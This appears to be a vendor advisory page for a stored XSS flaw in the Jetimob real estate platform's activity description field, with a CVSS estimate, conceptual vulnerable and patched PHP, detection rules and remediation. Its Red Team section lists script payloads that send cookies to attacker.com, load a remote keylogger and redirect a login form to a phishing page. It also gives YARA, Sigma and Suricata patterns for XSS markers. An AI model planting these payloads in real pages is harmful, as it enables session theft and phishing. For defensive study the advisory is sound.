CVE-2024-41504
Executive Summary
CVE-2024-41504 identifies a stored Cross-Site Scripting (XSS) vulnerability in the Jetimob Plataforma Imobiliaria application, version 20240627-0. The flaw resides in the "Oportunidades" (opportunities) section, specifically within the "Atividade" (activity) creation or editing form. The "Descrico" field fails to sanitize user input, allowing an attacker to inject arbitrary JavaScript code. This injected code is then stored on the server and executed in the browser of any user who views the affected activity, leading to potential session hijacking, data theft, or defacement. No official patch has been released, and the CVSS score is currently unassigned, but the vulnerability is publicly known.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a specific package manager (NPM, PyPI, Go, Ruby) but affects a proprietary web application. The risk is primarily to the application's users and the hosting environment.
CVSS Breakdown & Threat Level
While a formal CVSS vector is not provided, a reasonable assessment based on the description is:
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): Low (L) - An attacker needs a valid account with permission to create or edit activities.
- User Interaction (UI): Required (R) - A victim must view the malicious activity.
- Scope (S): Changed (C) - The vulnerability can impact resources beyond the vulnerable component (e.g., user sessions).
- Confidentiality (C): Low (L) - Potential for data theft.
- Integrity (I): Low (L) - Potential for content modification.
- Availability (A): None (N) - No direct impact on availability.
Estimated CVSS v3.1 Score: 5.4 (Medium)
Threat Level: Medium. Exploitation requires authenticated access, but the impact can be significant for users with higher privileges.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS (CWE-79). The application's "Descrico" field in the activity form does not properly validate or encode user-supplied data before storing it in the database. When another user (or the same user) views the activity, the application retrieves the stored data and renders it in the browser without proper escaping. This allows an attacker to inject HTML and JavaScript code.
Attack Flow:
- Authentication: The attacker logs into the Jetimob application with a valid user account.
- Injection: The attacker navigates to the "Oportunidades" section and creates or edits an "Atividade". In the "Descrico" field, they input a payload like
<script>alert('XSS')</script>. - Storage: The application stores the malicious payload in the database.
- Trigger: A victim user (e.g., another agent or admin) views the activity containing the malicious payload.
- Execution: The victim's browser executes the injected JavaScript, which can steal cookies, redirect to a phishing site, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no patch is available, we can only describe the vulnerable code pattern and the expected fix.
Vulnerable Code (Conceptual - PHP/ASP.NET/Java):
// Vulnerable: Directly storing and displaying user input
$descricao = $_POST['descricao'];
// ... store in database ...
// When displaying:
echo "<div>" . $descricao . "</div>";
Patched Code (Conceptual):
// Patched: Sanitize input and encode output
$descricao = htmlspecialchars($_POST['descricao'], ENT_QUOTES, 'UTF-8');
// ... store in database ...
// When displaying:
echo "<div>" . $descricao . "</div>";
The fix involves using htmlspecialchars() (or equivalent) to encode HTML special characters like <, >, ", ', and & before outputting the data. Additionally, input validation should be implemented to reject or sanitize malicious content.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A valid user account on the Jetimob application.
- Access to the "Oportunidades" section.
Exploit Steps:
- Log in to the Jetimob application.
- Navigate to "Oportunidades" and create a new "Atividade" or edit an existing one.
- In the "Descrico" field, inject a JavaScript payload. Example payloads:
- Cookie Stealer:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Keylogger:
<script src="http://attacker.com/keylogger.js"></script> - Phishing:
<script>document.getElementById('login-form').action='http://attacker.com/phish.php';</script>
- Cookie Stealer:
- Save the activity.
- Send the link to the activity to a victim user (e.g., via email or internal messaging).
- When the victim views the activity, the payload executes.
Blue Team (Defensive)
Detection:
- Monitor for unusual activity in the "Oportunidades" section, especially from low-privileged users.
- Look for HTTP requests containing
<script>,onerror,onload, or other XSS indicators in thedescricaoparameter. - Use a Web Application Firewall (WAF) to block common XSS payloads.
Prevention:
- Implement strict input validation and output encoding as described in the patched code section.
- Apply a Content Security Policy (CSP) header to restrict script execution.
- Conduct regular security code reviews and penetration testing.
Indicators of Compromise (IOCs)
- Network:
- HTTP POST requests to
/oportunidades/atividade/saveor similar endpoints with adescricaoparameter containing<script>tags. - Outbound HTTP requests from the application server to unknown external domains (e.g.,
attacker.com).
- HTTP POST requests to
- Host:
- Log entries showing the creation or modification of activities with suspicious content in the "Descrico" field.
- Unexpected JavaScript files or scripts in the application's web root.
- Application:
- Stored data in the database containing HTML or JavaScript code in the
descricaocolumn. - User sessions being hijacked or redirected to external sites.
- Stored data in the database containing HTML or JavaScript code in the
Detection Engineering
YARA Rule
rule CVE_2024_41504_XSS_Payload {
meta:
description = "Detects XSS payloads targeting CVE-2024-41504 in Jetimob"
author = "Valters IT"
date = "2024-07-01"
reference = "CVE-2024-41504"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Jetimob Stored XSS Activity Creation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-41504 by injecting XSS payloads into the Descrico field.
author: Valters IT
date: 2024/07/01
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'descricao'
cs-uri-query|contains|all:
- '<script'
- '</script>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in the description (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-41504 Jetimob XSS Payload in Descrico Field"; flow:to_server,established; content:"POST"; http_method; content:"descricao"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the "Descrico" field if it is not critical for business operations.
- Implement a Web Application Firewall (WAF) rule to block requests containing
<script>tags in thedescricaoparameter. - Restrict user permissions to limit who can create or edit activities.
Long-Term Fix:
- Apply input validation: Reject any input containing HTML tags or JavaScript code.
- Implement output encoding: Use
htmlspecialchars()or equivalent before displaying the "Descrico" field. - Conduct a full security audit of the application for similar vulnerabilities.
- Contact the vendor (Jetimob) for an official patch or update.
Valters IT - DevSecOps & Cyber Threat Intelligence Expert